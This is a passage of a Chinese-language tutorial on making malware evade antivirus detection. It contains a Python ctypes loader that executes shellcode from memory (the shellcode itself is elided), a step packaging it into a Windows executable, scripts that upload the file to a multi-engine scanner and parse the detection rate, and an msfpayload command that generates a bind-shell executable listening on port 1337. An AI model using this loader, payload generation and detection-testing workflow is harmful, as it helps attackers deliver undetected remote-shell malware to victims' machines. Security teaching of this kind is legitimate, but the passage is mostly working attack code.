14 |
15 | ```python
16 | from ctypes import *
17 | shellcode = ("...")
18 | memory_with_shell = create_string_buffer(shellcode, len(shellcode))
19 | shell = cast(memory_with_shell, CFUNCTYPE(c_void_p))
20 | shell()
21 | ```
22 |
23 | 下一步,使用 Pyinstaller 生成 Windows PE(portable executable)格式的可执行文件。
24 |
25 | ### 免杀验证
26 |
27 | 使用 `vscan.novirusthanks.org` 的服务来扫描可执行文件。NoVirusThanks 提供了一个 Web 网页界面,可以上传可疑文件,然后用多种不同的杀毒引擎扫描它。可以编写一个小巧的 Python 脚本自动完成这一步骤。在通过 Web 网页界面交互时,抓取一个 tcpdump 抓包文件,利用 httplib 库进行编写。
28 |
29 | 注意 boundary 字段,是用来分隔文件内容和数据包中其他内容的
30 |
31 | ```python
32 | def upload_file(file_name):
33 | print("[+] Uploading file to NoVirusThanks...")
34 | file_contents = open(file_name, "rb").read()
35 | header = {
36 | "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U"
37 | }
38 | params = "----WebKitFormBoundaryF17rwCZdGuPNPT9U"
39 | params += '\r\nContent-Disposition: form-data; name="upfile"; filename="{}"'.format(file_name)
40 | params += '\r\nContent-Type: application/octet stream\r\n\r\n'
41 | params += file_contents
42 | params += '\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U'
43 | params += '\r\nContent-Disposition: form-data; name="submitfile"\r\n'
44 | params += "------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"
45 | conn = httplib.HTTPConnection("vscan.novirusthanks.org")
46 | conn.request("POST", "/", params, header)
47 | response = conn.getresponse()
48 | location = response.getheader("location")
49 | conn.close()
50 | return location
51 | ```
52 |
53 | 接下来写一个把我们上传的可疑文件的扫描结果打印出来的 Python 脚本。首先,脚本要连接到 “file” 页面,它会返回一个 “正在进行扫描” 的消息。一旦这个页面返回一个 HTTP 302,就重定向到分析结果页面,可以使用一个正则表达式读取发现率,并把 CSS 代码用空白字符串替换掉。
54 |
55 | ```python
56 | def print_results(url):
57 | status = 200
58 | host = url_parse(url)[1]
59 | path = url_parse(url)[2]
60 | if "analysis" not in path:
61 | while status != 302:
62 | conn = httplib.HTTPConnection(host)
63 | conn.request("GET", path)
64 | resp = conn.getresponse()
65 | status = resp.status
66 | print("[+] Scanning file...")
67 | conn.close()
68 | time.sleep(15)
69 | print("[+] Scan Complete.")
70 | path = path.replace("file", "analysis")
71 | conn = httplib.HTTPConnection(host)
72 | conn.request("GET", path)
73 | resp = conn.getresponse()
74 | data = resp.read()
75 | conn.close()
76 | re_results = re.findall(r"Detection rate:.*\) ", data)
77 | html_strip_res = re_results[1].replace("<font color='red'>", '').replace("</font>", "")
78 | print("[+] {}".format(html_strip_res))
79 | ```
80 |
81 | 使用默认的 Metasploit 编码器把它编码到一个标准的 Windows 可执行文件中。这个文件显然无法逃过正常的杀毒软件的查杀
82 |
83 | ```shell
84 | $ msfpayload windows/shell_bind_tcp LPORT=1337 X > bindshell.exe
85 | ```
--------------------------------------------------------------------------------